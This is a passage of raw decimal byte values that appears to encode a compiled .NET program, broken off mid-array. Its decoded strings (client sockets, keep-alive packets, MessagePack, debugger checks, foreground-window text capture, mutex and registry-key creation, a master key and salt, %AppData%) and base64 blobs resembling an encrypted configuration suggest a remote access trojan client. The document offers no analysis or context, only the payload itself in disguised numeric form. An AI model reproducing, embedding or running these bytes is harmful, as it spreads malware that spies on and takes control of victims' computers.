1,95,80,97,99,107,101,116,0,75,101,101,112,65,108,105,118,101,80,97,99,107,101,116,0,67,108,105,101,110,116,83,111,99,107,101,116,0,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,73,69,110,117,109,101,114,97,116,111,114,46,82,101,115,101,116,0,103,101,116,95,79,102,102,115,101,116,0,115,101,116,95,79,102,102,115,101,116,0,83,112,108,105,116,0,67,108,105,101,110,116,79,110,69,120,105,116,0,83,97,108,116,0,73,65,115,121,110,99,82,101,115,117,108,116,0,84,111,85,112,112,101,114,73,110,118,97,114,105,97,110,116,0,87,101,98,67,108,105,101,110,116,0,65,115,121,110,99,67,108,105,101,110,116,0,73,110,105,116,105,97,108,105,122,101,67,108,105,101,110,116,0,103,101,116,95,83,115,108,67,108,105,101,110,116,0,115,101,116,95,83,115,108,67,108,105,101,110,116,0,103,101,116,95,84,99,112,67,108,105,101,110,116,0,115,101,116,95,84,99,112,67,108,105,101,110,116,0,65,117,116,104,101,110,116,105,99,97,116,101,65,115,67,108,105,101,110,116,0,83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,0,69,110,118,105,114,111,110,109,101,110,116,0,112,97,114,101,110,116,0,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,73,69,110,117,109,101,114,97,116,111,114,46,67,117,114,114,101,110,116,0,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,73,69,110,117,109,101,114,97,116,111,114,46,103,101,116,95,67,117,114,114,101,110,116,0,71,101,116,67,117,114,114,101,110,116,0,67,104,101,99,107,82,101,109,111,116,101,68,101,98,117,103,103,101,114,80,114,101,115,101,110,116,0,105,115,68,101,98,117,103,103,101,114,80,114,101,115,101,110,116,0,103,101,116,95,82,101,109,111,116,101,69,110,100,80,111,105,110,116,0,103,101,116,95,67,111,117,110,116,0,103,101,116,95,80,114,111,99,101,115,115,111,114,67,111,117,110,116,0,99,111,117,110,116,0,71,101,116,80,97,116,104,82,111,111,116,0,68,101,99,114,121,112,116,0,69,110,99,114,121,112,116,0,80,97,114,97,109,101,116,101,114,105,122,101,100,84,104,114,101,97,100,83,116,97,114,116,0,67,111,110,118,101,114,116,0,70,97,105,108,70,97,115,116,0,84,111,76,105,115,116,0,105,110,112,117,116,0,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,73,69,110,117,109,101,114,97,116,111,114,46,77,111,118,101,78,101,120,116,0,83,121,115,116,101,109,46,84,101,120,116,0,71,101,116,87,105,110,100,111,119,84,101,120,116,0,116,101,120,116,0,118,0,71,101,116,70,111,114,101,103,114,111,117,110,100,87,105,110,100,111,119,0,115,101,116,95,67,114,101,97,116,101,78,111,87,105,110,100,111,119,0,105,110,100,101,120,0,67,108,111,115,101,77,117,116,101,120,0,67,114,101,97,116,101,77,117,116,101,120,0,68,101,108,97,121,0,87,105,114,116,101,65,114,114,97,121,0,73,110,105,116,105,97,108,105,122,101,65,114,114,97,121,0,77,115,103,80,97,99,107,65,114,114,97,121,0,84,111,65,114,114,97,121,0,103,101,116,95,65,115,65,114,114,97,121,0,114,101,102,65,115,65,114,114,97,121,0,103,101,116,95,75,101,121,0,115,101,116,95,75,101,121,0,67,114,101,97,116,101,83,117,98,75,101,121,0,68,101,108,101,116,101,83,117,98,75,101,121,0,79,112,101,110,83,117,98,75,101,121,0,103,101,116,95,80,117,98,108,105,99,75,101,121,0,95,97,117,116,104,75,101,121,0,109,97,115,116,101,114,75,101,121,0,82,101,103,105,115,116,114,121,75,101,121,0,95,107,101,121,0,83,121,115,116,101,109,46,83,101,99,117,114,105,116,121,46,67,114,121,112,116,111,103,114,97,112,104,121,0,65,115,115,101,109,98,108,121,0,65,100,100,114,101,115,115,70,97,109,105,108,121,0,66,108,111,99,107,67,111,112,121,0,87,114,105,116,101,66,105,110,97,114,121,0,84,111,66,105,110,97,114,121,0,103,101,116,95,83,121,115,116,101,109,68,105,114,101,99,116,111,114,121,0,83,101,116,82,101,103,105,115,116,114,121,0,111,112,95,69,113,117,97,108,105,116,121,0,111,112,95,73,110,101,113,117,97,108,105,116,121,0,83,121,115,116,101,109,46,78,101,116,46,83,101,99,117,114,105,116,121,0,87,105,110,100,111,119,115,73,100,101,110,116,105,116,121,0,73,115,78,117,108,108,79,114,69,109,112,116,121,0,0,0,13,83,0,72,0,65,0,50,0,53,0,54,0,0,128,177,51,0,54,0,57,0,122,0,104,0,108,0,121,0,76,0,68,0,83,0,72,0,117,0,104,0,103,0,72,0,122,0,76,0,50,0,76,0,77,0,102,0,65,0,88,0,84,0,116,0,104,0,88,0,101,0,71,0,101,0,109,0,73,0,116,0,73,0,90,0,112,0,48,0,56,0,69,0,90,0,121,0,118,0,122,0,89,0,65,0,84,0,76,0,56,0,72,0,55,0,53,0,51,0,68,0,77,0,73,0,54,0,115,0,111,0,57,0,54,0,81,0,113,0,47,0,49,0,67,0,76,0,82,0,65,0,68,0,117,0,52,0,102,0,106,0,66,0,104,0,114,0,110,0,48,0,99,0,90,0,109,0,115,0,102,0,57,0,47,0,103,0,61,0,61,0,0,128,217,74,0,66,0,86,0,48,0,99,0,47,0,70,0,110,0,116,0,98,0,78,0,87,0,72,0,100,0,115,0,75,0,71,0,56,0,89,0,87,0,102,0,52,0,65,0,83,0,107,0,56,0,70,0,97,0,79,0,77,0,49,0,105,0,114,0,104,0,100,0,67,0,57,0,99,0,121,0,112,0,104,0,85,0,103,0,100,0,110,0,108,0,116,0,48,0,122,0,76,0,83,0,69,0,80,0,77,0,112,0,52,0,119,0,66,0,104,0,53,0,117,0,76,0,48,0,73,0,80,0,70,0,74,0,111,0,118,0,110,0,67,0,97,0,99,0,115,0,57,0,69,0,105,0,56,0,82,0,90,0,67,0,107,0,110,0,118,0,122,0,118,0,97,0,65,0,66,0,87,0,72,0,119,0,70,0,89,0,118,0,88,0,47,0,112,0,114,0,68,0,101,0,114,0,107,0,97,0,109,0,111,0,69,0,61,0,0,128,177,107,0,106,0,107,0,89,0,110,0,66,0,84,0,84,0,86,0,71,0,97,0,99,0,104,0,86,0,72,0,103,0,77,0,112,0,51,0,77,0,65,0,122,0,47,0,110,0,112,0,68,0,119,0,105,0,49,0,122,0,43,0,111,0,105,0,43,0,105,0,73,0,110,0,100,0,67,0,81,0,82,0,116,0,120,0,87,0,86,0,104,0,71,0,102,0,76,0,72,0,77,0,84,0,105,0,53,0,105,0,65,0,74,0,84,0,70,0,84,0,57,0,103,0,51,0,55,0,65,0,99,0,43,0,108,0,116,0,65,0,69,0,108,0,114,0,43,0,53,0,103,0,107,0,84,0,107,0,74,0,74,0,109,0,81,0,77,0,88,0,65,0,61,0,61,0,0,128,177,82,0,103,0,118,0,119,0,84,0,50,0,113,0,114,0,85,0,77,0,71,0,55,0,50,0,66,0,89,0,102,0,104,0,74,0,117,0,78,0,56,0,70,0,75,0,117,0,49,0,72,0,104,0,109,0,57,0,118,0,119,0,75,0,78,0,47,0,122,0,120,0,108,0,73,0,105,0,55,0,66,0,54,0,86,0,89,0,102,0,73,0,75,0,85,0,74,0,65,0,49,0,103,0,103,0,103,0,97,0,55,0,70,0,104,0,73,0,47,0,79,0,74,0,89,0,102,0,113,0,120,0,89,0,116,0,78,0,106,0,100,0,90,0,88,0,83,0,99,0,99,0,122,0,107,0,119,0,88,0,56,0,69,0,80,0,75,0,55,0,119,0,61,0,61,0,0,19,37,0,65,0,112,0,112,0,68,0,97,0,116,0,97,0,37,0,0,1,0,89,97,0,71,0,112,0,108,0,86,0,107,0,78,0,88,0,77,0,69,0,90,0,113,0,98,0,69,0,116,0,72,0,87,0,84,0,90,0,114,0,97,0,109,0,82,0,50,0,81,0,50,0,82,0,116,0,81,0,85,0,120,0,82,0,90,0,109,0,49,0,120,0,82,0,107,0,108,0,79,0,97,0,68,0,65,0,61,0,0,128,217,109,0,53,0,75,0,101,0,43,0,74,0,107,0,104,0,43,0,47,0,66,0,43,0,86,0,106,0,108,0,65,0,65,0,56,0,71,0,52,0,103,0,88,0,48,0,82,0,67,0,85,0,110,0,112,0,53,0,56,0,76,0,87,0,57,0,65,0,85,0,118,0,106,0,89,0,98,0,73,0,119,0,111,0,72,0,51,0,74,0,79,0,80,0,117,0,43,0,100,0,120,0,117,0,49,0,110,0,71,0,67,0,110,0,108,0,79,0,117,0,102,0,71,0,109,0,111,0,86,0,101,0,90,0,106,0,47,0,53,0,47,0,108,0,79,0,119,0,51,0,110,0,74,0,110,0,47,0,48,0,101,0,70,0,57,0,76,0,119,0,48,0,67,0,75,0,97,0,117,0,57,0,102,0,114,0,117,0,112,0,89,0,114,0,82,0,67,0,48,0,53,0,67,0,119,0,100,0,120,0,107,0,119,0,61,0,0,146,89,79,0,52,0,101,0,87,0,65,0,105,0,82,0,99,0,105,0,103,0,101,0,118,0,83,0,114,0,113,0,82,0,66,0,101,0,70,0,105,0,117,0,77,0,74,0,117,0,88,0,89,0,49,0,57,0,77,0,65,0,114,0,110,0,118,0,122,0,81,0,106,0,75,0,105,0,90,0,106,0,57,0,121,0,113,0,82,0,77,0,117,0,48,0,109,0,73,0,74,0,65,0,67,0,87,0,114,0,71,0,66,0,100,0,69,0,78,0,47,0,50,0,57,0,86,0,81,0,121,0,88,0,99,0,114,0,53,0,112,0,114,0,108,0,99,0,118,0,110,0,82,0,122,0,75,0,47,0,117,0,113,0,43,0,85,0,111,0,86,0,97,0,77,0,82,0,71,0,51,0,121,0,66,0,86,0,55,0,51,0,70,0,74,0,104,0,70,0,90,0,52,0,121,0,111,0,87,0,68,0,102,0,110,0,112,0,56,0,90,0,88,0,118,0,108,0,50,0,72,0,85,0,48,0,112,0,75,0,89,0,82,0,119,0,66,0,51,0,84,0,83,0,116,0,113,0,85,0,105,0,105,0,47,0,114,0,114,0,106,0,104,0,119,0,54,0,51,0,89,0,116,0,74,0,113,0,107,0,76,0,80,0,118,0,98,0,103,0,100,0,80,0,84,0,90,0,116,0,112,0,54,0,116,0,109,0,50,0,65,0,51,0,110,0,70,0,53,0,103,0,101,0,56,0,88,0,105,0,101,0,106,0,47,0,47,0,47,0,116,0,100,0,85,0,52,0,55,0,119,0,106,0,86,0,115,0,100,0,105,0,76,0,119,0,103,0,109,0,49,0,78,0,112,0,85,0,87,0,84,0,111,0,114,0,117,0,97,0,101,0,82,0,51,0,87,0,117,0,74,0,112,0,104,0,84,0,74,0,78,0,83,0,100,0,54,0,87,0,76,0,102,0,117,0,65,0,115,0,111,0,50,0,77,0,83,0,74,0,55,0,55,0,107,0,114,0,55,0,89,0,76,0,73,0,47,0,69,0,43,0,100,0,49,0,90,0,76,0,103,0,81,0,81,0,81,0,68,0,52,0,103,0,117,0,108,0,50,0,111,0,77,0,69,0,53,0,105,0,76,0,66,0,87,0,48,0,85,0,66,0,85,0,99,0,66,0,100,0,102,0,108,0,111,0,76,0,118,0,65,0,102,0,115,0,77,0,66,0,73,0,105,0,78,0,105,0,69,0,101,0,54,0,120,0,82,0,105,0,66,0,52,0,69,0,113,0,112,0,51,0,81,0,101,0,48,0,55,0,112,0,53,0,48,0,98,0,82,0,80,0,97,0,82,0,67,0,104,0,97,0,101,0,86,0,50,0,48,0,71,0,119,0,70,0,100,0,53,0,49,0,112,0,53,0,49,0,51,0,80,0,106,0,85,0,110,0,105,0,120,0,72,0,51,0,70,0,83,0,75,0,121,0,53,0,99,0,99,0,52,0,119,0,78,0,116,0,52,0,70,0,49,0,111,0,51,0,74,0,98,0,103,0,76,0,100,0,110,0,51,0,51,0,82,0,71,0,100,0,100,0,98,0,113,0,79,0,53,0,113,0,77,0,110,0,99,0,97,0,77,0,105,0,84,0,110,0,114,0,67,0,56,0,117,0,69,0,53,0,84,0,55,0,83,0,102,0,89,0,69,0,67,0,106,0,84,0,121,0,65,0,122,0,69,0,100,0,106,0,50,0,106,0,105,0,69,0,57,0,89,0,117,0,75,0,109,0,56,0,120,0,81,0,105,0,51,0,86,0,85,0,119,0,66,0,52,0,118,0,77,0,108,0,57,0,68,0,52,0,68,0,49,0,66,0,51,0,121,0,90,0,106,0,87,0,101,0,107,0,80,0,79,0,56,0,48,0,80,0,66,0,48,0,72,0,83,0,119,0,116,0,56,0,98,0,98,0,106,0,43,0,84,0,72,0,78,0,76,0,122,0,47,0,87,0,113,0,43,0,65,0,88,0,89,0,65,0,53,0,78,0,99,0,72,0,80,0,113,0,112,0,43,0,97,0,47,0,72,0,89,0,75,0,52,0,89,0,86,0,80,0,69,0,72,0,114,0,89,0,110,0,43,0,119,0,76,0,107,0,98,0,67,0,74,0,101,0,77,0,116,0,90,0,77,0,117,0,75,0,103,0,43,0,80,0,119,0,83,0,103,0,72,0,103,0,100,0,69,0,114,0,121,0,87,0,105,0,119,0,66,0,115,0,49,0,47,0,81,0,75,0,104,0,57,0,106,0,99,0,113,0,57,0,116,0,86,0,82,0,108,0,72,0,80,0,43,0,105,0,77,0,122,0,55,0,106,0,55,0,74,0,77,0,116,0,84,0,51,0,121,0,50,0,49,0,116,0,101,0,119,0,68,0,49,0,120,0,65,0,55,0,54,0,116,0,77,0,105,0,66,0,56,0,89,0,104,0,118,0,108,0,78,0,69,0,116,0,48,0,110,0,77,0,111,0,67,0,114,0,83,0,109,0,112,0,74,0,121,0,89,0,76,0,117,0,82,0,115,0,106,0,109,0,103,0,68,0,75,0,103,0,80,0,114,0,66,0,54,0,80,0,122,0,76,0,49,0,84,0,121,0,108,0,56,0,65,0,108,0,55,0,73,0,111,0,87,0,75,0,56,0,115,0,118,0,83,0,74,0,99,0,74,0,47,0,80,0,49,0,66,0,82,0,86,0,118,0,122,0,116,0,72,0,73,0,75,0,74,0,84,0,56,0,81,0,48,0,71,0,115,0,98,0,65,0,119,0,52,0,67,0,77,0,88,0,87,0,101,0,77,0,88,0,69,0,116,0,112,0,97,0,118,0,100,0,77,0,116,0,109,0,106,0,121,0,104,0,104,0,103,0,66,0,90,0,43,0,67,0,81,0,75,0,112,0,48,0,116,0,77,0,100,0,115,0,67,0,78,0,76,0,107,0,105,0,85,0,112,0,75,0,78,0,49,0,84,0,108,0,57,0,50,0,54,0,97,0,110,0,76,0,113,0,105,0,116,0,118,0,111,0,50,0,111,0,103,0,65,0,106,0,83,0,67,0,88,0,118,0,107,0,51,0,97,0,122,0,102,0,85,0,73,0,71,0,118,0,67,0,76,0,82,0,83,0,72,0,122,0,119,0,67,0,86,0,52,0,105,0,115,0,50,0,57,0,67,0,110,0,79,0,112,0,65,0,69,0,51,0,120,0,73,0,67,0,57,0,71,0,85,0,98,0,108,0,81,0,53,0,103,0,72,0,49,0,43,0,89,0,113,0,81,0,82,0,113,0,81,0,74,0,69,0,103,0,50,0,84,0,76,0,43,0,47,0,75,0,71,0,102,0,65,0,89,0,112,0,54,0,69,0,86,0,51,0,69,0,98,0,116,0,71,0,121,0,86,0,111,0,111,0,76,0,52,0,86,0,86,0,120,0,54,0,117,0,118,0,83,0,109,0,78,0,57,0,111,0,56,0,79,0,76,0,55,0,72,0,118,0,89,0,51,0,114,0,113,0,85,0,82,0,112,0,112,0,115,0,86,0,70,0,52,0,57,0,116,0,107,0,51,0,106,0,49,0,117,0,89,0,119,0,120,0,88,0,76,0,70,0,65,0,77,0,87,0,120,0,85,0,69,0,108,0,118,0,67,0,122,0,114,0,79,0,56,0,89,0,114,0,54,0,88,0,77,0,109,0,69,0,102,0,102,0,70,0,101,0,67,0,83,0,115,0,100,0,122,0,54,0,73,0,103,0,117,0,53,0,114,0,56,0,71,0,105,0,115,0,73,0,104,0,107,0,75,0,83,0,113,0,83,0,122,0,113,0,108,0,70,0,52,0,68,0,99,0,101,0,115,0,67,0,110,0,114,0,90,0,43,0,103,0,50,0,117,0,53,0,99,0,101,0,48,0,52,0,106,0,89,0,89,0,48,0,53,0,52,0,76,0,105,0,112,0,117,0,78,0,120,0,85,0,114,0,75,0,119,0,106,0,49,0,112,0,83,0,111,0,87,0,99,0,71,0,112,0,48,0,71,0,72,0,78,0,57,0,48,0,114,0,82,0,65,0,85,0,79,0,51,0,103,0,107,0,75,0,73,0,65,0,50,0,69,0,57,0,66,0,83,0,76,0,90,0,80,0,78,0,43,0,69,0,71,0,117,0,90,0,86,0,110,0,50,0,57,0,111,0,107,0,78,0,81,0,56,0,43,0,51,0,73,0,99,0,79,0,76,0,102,0,120,0,67,0,77,0,106,0,50,0,47,0,86,0,54,0,77,0,75,0,72,0,117,0,104,0,106,0,115,0,102,0,122,0,110,0,102,0,107,0,89,0,72,0,56,0,119,0,53,0,108,0,66,0,103,0,71,0,69,0,107,0,122,0,86,0,104,0,66,0,73,0,102,0,86,0,52,0,85,0,57,0,48,0,87,0,87,0,52,0,85,0,77,0,79,0,118,0,103,0,84,0,85,0,66,0,118,0,107,0,53,0,121,0,118,0,106,0,102,0,68,0,51,0,69,0,67,0,49,0,83,0,119,0,90,0,83,0,47,0,81,0,83,0,108,0,120,0,50,0,118,0,112,0,86,0,113,0,47,0,119,0,80,0,97,0,116,0,83,0,54,0,49,0,73,0,51,0,109,0,108,0,83,0,115,0,52,0,57,0,70,0,112,0,109,0,112,0,100,0,122,0,84,0,90,0,103,0,76,0,81,0,78,0,52,0,100,0,108,0,72,0,56,0,105,0,68,0,121,0,83,0,49,0,86,0,43,0,84,0,115,0,97,0,66,0,76,0,110,0,114,0,48,0,67,0,57,0,117,0,48,0,73,0,67,0,80,0,85,0,100,0,83,0,113,0,74,0,65,0,75,0,106,0,67,0,107,0,119,0,77,0,111,0,68,0,90,0,108,0,120,0,43,0,111,0,65,0,118,0,51,0,108,0,121,0,47,0,100,0,83,0,52,0,80,0,101,0,55,0,70,0,89,0,98,0,51,0,115,0,67,0,76,0,104,0,71,0,88,0,50,0,82,0,48,0,84,0,98,0,106,0,72,0,67,0,105,0,117,0,77,0,53,0,97,0,55,0,101,0,54,0,76,0,85,0,98,0,47,0,100,0,83,0,52,0,80,0,121,0,79,0,118,0,119,0,116,0,115,0,86,0,120,0,86,0,97,0,51,0,85,0,84,0,43,0,53,0,98,0,107,0,84,0,48,0,122,0,118,0,105,0,78,0,111,0,115,0,88,0,121,0,121,0,55,0,71,0,87,0,81,0,97,0,117,0,53,0,100,0,55,0,75,0,114,0,108,0,121,0,118,0,56,0,83,0,66,0,83,0,53,0,76,0,121,0,69,0,69,0,121,0,50,0,105,0,88,0,79,0,105,0,114,0,55,0,80,0,72,0,75,0,71,0,118,0,118,0,83,0,51,0,122,0,73,0,117,0,119,0,105,0,86,0,55,0,54,0,103,0,106,0,103,0,97,0,75,0,90,0,98,0,107,0,108,0,65,0,50,0,120,0,50,0,68,0,47,0,50,0,117,0,110,0,117,0,75,0,120,0,121,0,103,0,70,0,87,0,56,0,54,0,66,0,69,0,55,0,74,0,54,0,69,0,68,0,111,0,103,0,71,0,85,0,108,0,99,0,117,0,66,0,67,0,115,0,54,0,74,0,88,0,71,0,116,0,71,0,80,0,47,0,114,0,88,0,67,0,48,0,105,0,78,0,109,0,89,0,71,0,120,0,67,0,77,0,72,0,116,0,88,0,72,0,50,0,49,0,54,0,75,0,48,0,122,0,79,0,116,0,104,0,57,0,89,0,105,0,75,0,80,0,98,0,53,0,70,0,98,0,49,0,71,0,106,0,108,0,76,0,66,0,69,0,110,0,111,0,110,0,120,0,88,0,105,0,68,0,70,0,67,0,66,0,50,0,120,0,43,0,54,0,117,0,76,0,117,0,102,0,51,0,107,0,110,0,97,0,109,0,55,0,73,0,47,0,106,0,99,0,79,0,67,0,100,0,101,0,55,0,119,0,120,0,101,0,47,0,85,0,119,0,54,0,57,0,112,0,104,0,117,0,51,0,66,0,87,0,71,0,108,0,68,0,67,0,101,0,98,0,110,0,70,0,100,0,110,0,109,0,86,0,89,0,67,0,99,0,86,0,102,0,67,0,80,0,100,0,85,0,82,0,87,0,74,0,120,0,120,0,86,0,86,0,121,0,85,0,51,0,54,0,54,0,50,0,56,0,118,0,52,0,116,0,68,0,68,0,49,0,52,0,97,0,55,0,106,0,84,0,119,0,68,0,116,0,76,0,48,0,120,0,71,0,82,0,72,0,76,0,57,0,84,0,87,0,110,0,115,0,82,0,73,0,107,0,52,0,87,0,78,0,102,0,109,0,75,0,121,0,88,0,98,0,99,0,66,0,84,0,52,0,100,0,83,0,117,0,90,0,104,0,70,0,69,0,66,0,43,0,75,0,111,0,97,0,90,0,78,0,114,0,83,0,50,0,82,0,67,0,105,0,81,0,66,0,57,0,112,0,98,0,118,0,121,0,52,0,76,0,70,0,80,0,103,0,56,0,86,0,71,0,49,0,68,0,77,0,82,0,81,0,97,0,98,0,55,0,47,0,82,0,77,0,81,0,115,0,73,0,119,0,76,0,76,0,117,0,74,0,73,0,77,0,122,0,114,0,83,0,78,0,86,0,52,0,120,0,86,0,74,0,114,0,89,0,69,0,101,0,73,0,88,0,77,0,99,0,81,0,97,0,97,0,110,0,99,0,72,0,48,0,50,0,118,0,99,0,47,0,101,0,114,0,119,0,108,0,54,0,78,0,99,0,57,0,73,0,119,0,57,0,78,0,77,0,115,0,43,0,71,0,56,0,76,0,106,0,72,0,73,0,55,0,82,0,79,0,115,0,116,0,48,0,111,0,120,0,81,0,103,0,106,0,105,0,101,0,83,0,68,0,115,0,56,0,79,0,120,0,53,0,107,0,49,0,70,0,120,0,120,0,49,0,115,0,88,0,78,0,84,0,75,0,99,0,80,0,48,0,52,0,81,0,68,0,43,0,108,0,86,0,66,0,77,0,113,0,90,0,80,0,72,0,84,0,106,0,89,0,116,0,110,0,86,0,50,0,57,0,67,0,102,0,100,0,122,0,55,0,81,0,48,0,78,0,74,0,117,0,84,0,78,0,78,0,87,0,79,0,79,0,119,0,98,0,114,0,83,0,56,0,76,0,56,0,112,0,115,0,57,0,86,0,97,0,111,0,69,0,88,0,67,0,69,0,77,0,49,0,110,0,52,0,51,0,99,0,78,0,89,0,54,0,78,0,88,0,54,0,108,0,81,0,75,0,120,0,80,0,102,0,50,0,82,0,56,0,54,0,54,0,77,0,57,0,78,0,121,0,87,0,57,0,48,0,54,0,106,0,98,0,67,0,103,0,78,0,104,0,51,0,97,0,53,0,98,0,56,0,122,0,52,0,110,0,66,0,54,0,55,0,52,0,98,0,103,0,122,0,115,0,109,0,118,0,122,0,73,0,103,0,53,0,50,0,48,0,47,0,117,0,111,0,119,0,122,0,50,0,53,0,55,0,68,0,48,0,104,0,86,0,69,0,110,0,79,0,49,0,104,0,121,0,90,0,85,0,109,0,75,0,83,0,116,0,103,0,55,0,76,0,118,0,116,0,88,0,101,0,48,0,50,0,81,0,109,0,100,0,51,0,108,0,73,0,67,0,119,0,47,0,97,0,51,0,90,0,87,0,119,0,104,0,50,0,85,0,86,0,115,0,87,0,121,0,110,0,100,0,49,0,70,0,68,0,78,0,76,0,84,0,89,0,98,0,117,0,101,0,110,0,113,0,79,0,57,0,53,0,102,0,77,0,88,0,104,0,90,0,73,0,71,0,51,0,117,0,81,0,121,0,107,0,57,0,105,0,115,0,80,0,56,0,75,0,114,0,86,0,54,0,84,0,102,0,89,0,122,0,122,0,72,0,43,0,110,0,66,0,50,0,110,0,68,0,75,0,74,0,85,0,105,0,66,0,80,0,100,0,121,0,49,0,118,0,118,0,102,0,49,0,115,0,109,0,69,0,90,0,109,0,118,0,82,0,101,0,77,0,109,0,49,0,53,0,70,0,79,0,121,0,110,0,111,0,82,0,50,0,100,0,103,0,88,0,80,0,55,0,54,0,110,0,83,0,81,0,50,0,72,0,82,0,103,0,90,0,101,0,56,0,74,0,80,0,68,0,88,0,87,0,68,0,112,0,52,0,121,0,100,0,67,0,101,0,89,0,84,0,72,0,51,0,70,0,86,0,43,0,101,0,110,0,83,0,113,0,77,0,52,0,57,0,78,0,119,0,104,0,68,0,104,0,80,0,68,0,89,0,73,0,119,0,43,0,56,0,56,0,117,0,99,0,114,0,119,0,100,0,79,0,56,0,117,0,122,0,110,0,88,0,104,0,71,0,99,0,51,0,53,0,81,0,116,0,113,0,109,0,74,0,70,0,104,0,120,0,85,0,71,0,122,0,87,0,67,0,118,0,109,0,102,0,74,0,74,0,80,0,89,0,83,0,80,0,47,0,99,0,85,0,108,0,116,0,101,0,55,0,121,0,120,0,79,0,50,0,119,0,52,0,101,0,120,0,47,0,84,0,83,0,53,0,68,0,98,0,74,0,56,0,106,0,109,0,118,0,105,0,102,0,84,0,67,0,43,0,78,0,83,0,78,0,98,0,101,0,43,0,113,0,121,0,78,0,100,0,90,0,72,0,68,0,90,0,103,0,118,0,69,0,49,0,49,0,109,0,57,0,121,0,71,0,122,0,107,0,57,0,104,0,104,0,105,0,56,0,82,0,120,0,68,0,53,0,54,0,106,0,57,0,81,0,71,0,114,0,109,0,122,0,106,0,73,0,120,0,83,0,119,0,55,0,85,0,78,0,78,0,115,0,107,0,48,0,121,0,83,0,56,0,82,0,65,0,97,0,90,0,80,0,111,0,47,0,83,0,105,0,71,0,90,0,48,0,108,0,115,0,107,0,55,0,80,0,101,0,110,0,72,0,54,0,65,0,88,0,86,0,87,0,109,0,101,0,87,0,105,0,107,0,51,0,49,0,114,0,55,0,54,0,53,0,116,0,75,0,50,0,76,0,115,0,79,0,82,0,98,0,43,0,104,0,80,0,49,0,81,0,109,0,110,0,90,0,88,0,80,0,75,0,67,0,49,0,118,0,78,0,88,0,97,0,89,0,110,0,105,0,51,0,81,0,117,0,82,0,90,0,69,0,101,0,119,0,43,0,87,0,110,0,104,0,107,0,53,0,113,0,47,0,97,0,57,0,50,0,105,0,111,0,52,0,57,0,69,0,89,0,57,0,117,0,105,0,109,0,78,0,53,0,48,0,107,0,48,0,81,0,110,0,57,0,112,0,90,0,114,0,77,0,104,0,120,0,84,0,65,0,71,0,103,0,111,0,110,0,121,0,102,0,103,0,117,0,54,0,98,0,110,0,48,0,52,0,47,0,47,0,79,0,50,0,83,0,43,0,115,0,54,0,113,0,78,0,73,0,121,0,84,0,108,0,105,0,80,0,86,0,112,0,80,0,74,0,106,0,112,0,87,0,98,0,108,0,78,0,79,0,89,0,101,0,56,0,72,0,83,0,65,0,67,0,111,0,89,0,50,0,81,0,54,0,72,0,85,0,89,0,43,0,50,0,85,0,48,0,79,0,107,0,79,0,111,0,98,0,73,0,112,0,109,0,115,0,43,0,112,0,52,0,68,0,74,0,43,0,68,0,49,0,114,0,79,0,119,0,51,0,72,0,48,0,82,0,77,0,119,0,113,0,72,0,121,0,43,0,117,0,79,0,103,0,43,0,56,0,68,0,121,0,109,0,82,0,68,0,50,0,86,0,105,0,66,0,53,0,75,0,80,0,107,0,115,0,65,0,89,0,73,0,118,0,100,0,90,0,87,0,120,0,99,0,71,0,97,0,116,0,113,0,75,0,56,0,48,0,108,0,47,0,97,0,103,0,105,0,116,0,120,0,116,0,99,0,49,0,72,0,98,0,116,0,106,0,67,0,89,0,67,0,50,0,107,0,84,0,97,0,105,0,85,0,108,0,85,0,87,0,54,0,49,0,65,0,52,0,79,0,112,0,69,0,122,0,71,0,109,0,52,0,71,0,83,0,116,0,51,0,43,0,84,0,81,0,98,0,111,0,72,0,83,0,87,0,75,0,75,0,51,0,97,0,83,0,100,0,80,0,65,0,69,0,107,0,80,0,116,0,117,0,109,0,69,0,57,0,56,0,81,0,50,0,74,0,53,0,89,0,112,0,112,0,106,0,75,0,47,0,71,0,67,0,100,0,74,0,115,0,81,0,48,0,103,0,55,0,56,0,83,0,100,0,117,0,111,0,90,0,109,0,85,0,70,0,56,0,119,0,43,0,99,0,107,0,61,0,0,135,177,56,0,54,0,119,0,107,0,119,0,110,0,81,0,105,0,77,0,57,0,103,0,90,0,117,0,71,0,110,0,75,0,118,0,100,0,107,0,88,0,98,0,102,0,111,0,116,0,48,0,48,0,51,0,50,0,48,0,104,0,99,0,118,0,100,0,68,0,108,0,75,0,98,0,113,0,53,0,47,0,54,0,82,0,87,0,72,0,114,0,89,0,121,0,99,0,116,0,50,0,79,0,120,0,103,0,101,0,74,0,121,0,80,0,104,0,117,0,121,0,84,0,69,0,77,0,112,0,57,0,112,0,120,0,49,0,85,0,106,0,78,0,118,0,100,0,107,0,84,0,107,0,98,0,51,0,120,0,47,0,48,0,43,0,78,0,82,0,48,0,99,0,100,0,56,0,101,0,121,0,120,0,121,0,78,0,52,0,88,0,81,0,117,0,103,0,120,0,43,0,57,0,120,0,105,0,120,0,103,0,50,0,122,0,107,0,80,0,90,0,83,0,87,0,117,0,65,0,113,0,115,0,83,0,75,0,72,0,112,0,116,0,104,0,68,0,49,0,111,0,74,0,116,0,49,0,86,0,75,0,74,0,85,0,117,0,86,0,122,0,74,0,47,0,117,0,115,0,68,0,53,0,72,0,114,0,119,0,115,0,48,0,100,0,102,0,73,0,69,0,56,0,104,0,114,0,113,0,74,0,87,0,65,0,100,0,102,0,73,0,100,0,117,0,72,0,70,0,106,0,56,0,65,0,119,0,102,0,112,0,68,0,81,0,56,0,114,0,81,0,82,0,106,0,57,0,80,0,108,0,97,0,110,0,122,0,74,0,111,0,90,0,111,0,102,0,102,0,82,0,77,0,119,0,54,0,70,0,115,0,121,0,69,0,87,0,43,0,76,0,122,0,121,0,99,0,108,0,112,0,74,0,75,0,52,0,69,0,111,0,52,0,104,0,97,0,109,0,52,0,107,0,84,0,87,0,99,0,73,0,102,0,71,0,101,0,82,0,99,0,114,0,88,0,47,0,70,0,90,0,54,0,106,0,119,0,52,0,104,0,115,0,55,0,89,0,87,0,99,0,101,0,55,0,79,0,111,0,109,0,70,0,120,0,115,0,89,0,84,0,52,0,107,0,73,0,97,0,116,0,84,0,65,0,78,0,85,0,54,0,78,0,77,0,107,0,53,0,97,0,56,0,73,0,81,0,76,0,121,0,103,0,115,0,118,0,54,0,68,0,87,0,57,0,78,0,85,0,78,0,77,0,76,0,102,0,100,0,47,0,56,0,50,0,79,0,97,0,103,0,110,0,52,0,54,0,97,0,55,0,85,0,43,0,114,0,52,0,77,0,79,0,97,0,81,